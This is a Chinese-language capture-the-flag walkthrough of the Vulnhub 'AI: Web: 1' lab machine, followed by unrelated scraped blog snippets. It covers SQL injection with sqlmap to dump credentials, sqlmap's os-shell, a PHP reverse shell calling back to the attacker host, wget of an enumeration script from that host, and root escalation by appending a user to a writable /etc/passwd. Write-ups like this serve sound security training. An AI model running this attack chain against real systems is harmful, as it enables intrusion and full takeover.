AI: Web: 1 Vulnhub Walkthrough
靶机下载:https://www.vulnhub.com/entry/ai-web-1,353/
测试方法:
    Nmap网络扫描
    浏览网页
    爆破目录
    SQL注入获取凭证
    SQL注入获取shell
    可写/etc/passwd 提权
    读取flag文件
 
靶机和攻击机处于统一网段下 所以就不用netdiscover扫描了
靶机IP:192.168.123.211
攻击机IP:192.168.123.30

主机发现:
ifconfig

nmap -sn 192.168.123.1/24

主机扫描:
nmap -A 192.168.123.211

发现只有一个80端口打开,用浏览器访问

主页上没有任何有用的信息
但是nmap扫到的robots.txt文件中有两个特别的目录

/m3diNf0/
/se3reTdir777/uploads/

浏览器打开

禁止访问,使用dirb爆破子目录

发现一个phpinfo页面

再爆破另外一个目录

没有有用的信息
接着爆破上级目录

发现了一个index.php
看到了输入框,先测试是否有sql注入

1' union select 1,2,database() #

观察URL可知 不是GET提交参数
所以先用BurpSuite抓包,然后上神器sqlmap

sqlmap -r AI-WEB1.txt --dbs --batch

数据库名为aiweb1
接下来查询库中的所有数据

sqlmap -r AI-WEB1.txt -D aiweb1 --dump-all –batch

password字段base64解码
Table: systemUser
[3 entries]
+----+-----------+----------------------------------------------+
| id | userName  | password                                     |
+----+-----------+----------------------------------------------+
| 1  | t00r      | FakeUserPassw0rd                     |
| 2  | aiweb1pwn | MyEvilPass_f908sdaf9_sadfasf0sa |
| 3  | u3er      | N0tThis0neAls0                         |
+----+-----------+----------------------------------------------+
登录凭证拿到了 得想办法拿web shell

sqlmap -r AI-WEB1.txt --privileg  --batch 查看mysql的权限

FILE权限 可以对服务器本地文件进行操作

尝试使用os_shell直接得到shell
PS:
使用OS_shell的条件
(1)具有file权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭
第一点满足了,绝对路径可从info.php中找到

sqlmap -r AI-WEB1.txt -D aiweb1 --os-shell

为了接下来的提权,我们利用执行os_shell留下来的上传页面 上传php恶意脚本,反弹shell

php脚本中的IP改为攻击机的IP

c

上传

攻击机监听端口

访问恶意脚本

反弹shell成功 但这只是一个非交互式shell

我们利用python来模拟一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'

注意 我们虽然有aiweb1pwn的密码 但是这个用户并不是root用户
所以还是得找其他方式提权
上传扫描脚本看靶机的配置是否有问题
攻击机开启一个web服务
python -m SimpleHTTPServer 8081

靶机下载脚本
cd /tmp
wget 192.168.123.30:8081/LinEnum.sh

给脚本执行权限
chmod 777 LinEnum.sh
./LinEnum.sh

查看脚本输出信息
发现passwd文件我们竟然能够修改

直接添加一个root用户

openssl passwd -1 -salt salt 1234
echo 'hack:$1$salt$kqNI5AJoJdN1WgWoNslBD0:0:0::/root:/bin/bash' >> /etc/passwd

tail /etc/passwd

添加成功,切换用户(hack:1234)
su hack
id

AI:WEB:1 Walkthrough的更多相关文章

  1. vulnhub AI: Web: 1

    vulnhub AI: Web: 1 提取flag攻略 导入虚拟机,开机. 扫描NAT的C段,确定虚拟机IP和开放端口. 尝试访问该网站 发现什么都没有,抽根烟冷静一下...... 来波目录扫描吧 使 ...

  2. AI: Web: 1 Vulnhub Walkthrough

    下载链接: https://www.vulnhub.com/entry/ai-web-1,353/ 主机发现扫描: 主机端口扫描 http://10.10.202.158/ 目录扫描: ╰─ sudo ...

  3. AI: Web: 2 Vulnhub Walkthrough

    靶机下载链接: https://www.vulnhub.com/entry/ai-web-2,357 主机端口扫描: 尝试SQL注入,未发现有注入漏洞,就注册创建于一账户 http://10.10.2 ...

  4. 德州扑克AI WEB版

    继续之前的德州扑克话题,上次的DOS界面确实没法看,我女朋友说这是什么鬼.哈哈,估计只有自己能玩了 这两天重构了一下界面,基于web服务器和浏览器来交互. 服务器和客户端之间用websocket通信, ...

  5. 使用 flask-restful 编写 自己的 ai web service

    本项目在 win 平台采用 pycharm 编写, 技能与环境要求: python 基础, web 基础知识, python.exe = 3.6+ 算法>第四版,操作系统推荐<现代操作系统 ...

  6. AI Web 1.0

    kali:192.168.0.103 目标机:192.168.0.105 0X01 端口和目录扫描 打开目标主页没有任何信息 a) 端口扫描 只有一个80端口开启 b) 目录扫描 0x03 查看敏感目 ...

  7. AI Web 2.0

    kali: 192.168.0.103 目标机:192.168.0.105 0X01 扫描端口和目录 a)扫描端口 开启了80和22端口 b)扫描目录 看到两个敏感字样的目录 尝试访问/webadmi ...

  8. .NET Core迁移技巧之web.config配置文件

    大家都知道.NET Core现在不再支持原来的web.config配置文件了,取而代之的是json或xml配置文件.官方推荐的项目配置方式是使用appsettings.json配置文件,这对现有一些重 ...

  9. .NET Core 2.0迁移技巧之web.config配置文件

    大家都知道.NET Core现在不再支持原来的web.config配置文件了,取而代之的是json或xml配置文件.官方推荐的项目配置方式是使用appsettings.json配置文件,这对现有一些重 ...

随机推荐

  1. robotframework-post request请求携带上一个请求返回的cookie

    公司的接口服务需要先登录,获取服务端的cookie后,在后续的请求中携带这个cookie才能够访问 在尝试用RF工具进行自动化接口测试时,发现先访问登录接口之后,接着请求其他接口时没有自动携带上次请求 ...

  2. day21_7.25 面向对象之继承

    一.继承 什么是继承? 继承是一种关系,就是描述两者之间什么是什么的关系. 在程序中,继承描述的是类与类之间的关系. 例如a如果继承了b,a就具备了b的所有变量与方法,可以直接调用. class B: ...

  3. 莫烦TensorFlow_03 Variable加法

    import tensorflow as tf ## 定义变量 state = tf.Variable(0, name = 'counter') #print(state.name) one = tf ...

  4. Git的一些概念(二)

    一.Git的结构 二.Git和代码托管中心 代码托管中心的任务:维护远程库 1. 局域网内 GitLab 服务器 -- 可以自己搭建 2. 外部环境 GitHub 码云 三.本地库和远程库 1. 团队 ...

  5. 每天一道Rust-LeetCode(2019-06-08)

    每天一道Rust-LeetCode(2019-06-08) 91. 解码方法 坚持每天一道题,刷题学习Rust. 题目描述 https://leetcode-cn.com/problems/decod ...

  6. reactjs中配置代理跨域

    第一步,下载依赖 http-proxy-middleware yarn add http-proxy-middleware 第二步,在src下建立setupProxy.js const proxy = ...

  7. 洛谷p3384【模板】树链剖分题解

    洛谷p3384 [模板]树链剖分错误记录 首先感谢\(lfd\)在课上调了出来\(Orz\) \(1\).以后少写全局变量 \(2\).线段树递归的时候最好把左右区间一起传 \(3\).写\(dfs\ ...

  8. [LeetCode] 916. Word Subsets 单词子集合

    We are given two arrays A and B of words.  Each word is a string of lowercase letters. Now, say that ...

  9. windows 排查javaWeb程序占用CPU过高问题(可追踪到问题代码所在行)

      1.情景展示 java虚拟机占用这么高的CPU,肯定不正常! 2.原因分析 第一个是tomcat,正在运行java项目: 第二个是eclipse,因为eclipse的运行依赖于java. 现在的问 ...

  10. 外文投稿时应该如何填写有关Social Media的问题?

    外文投稿时应该如何填写有关Social Media的问题? 1 *Please supply our social media editor with a "tweet" or s ...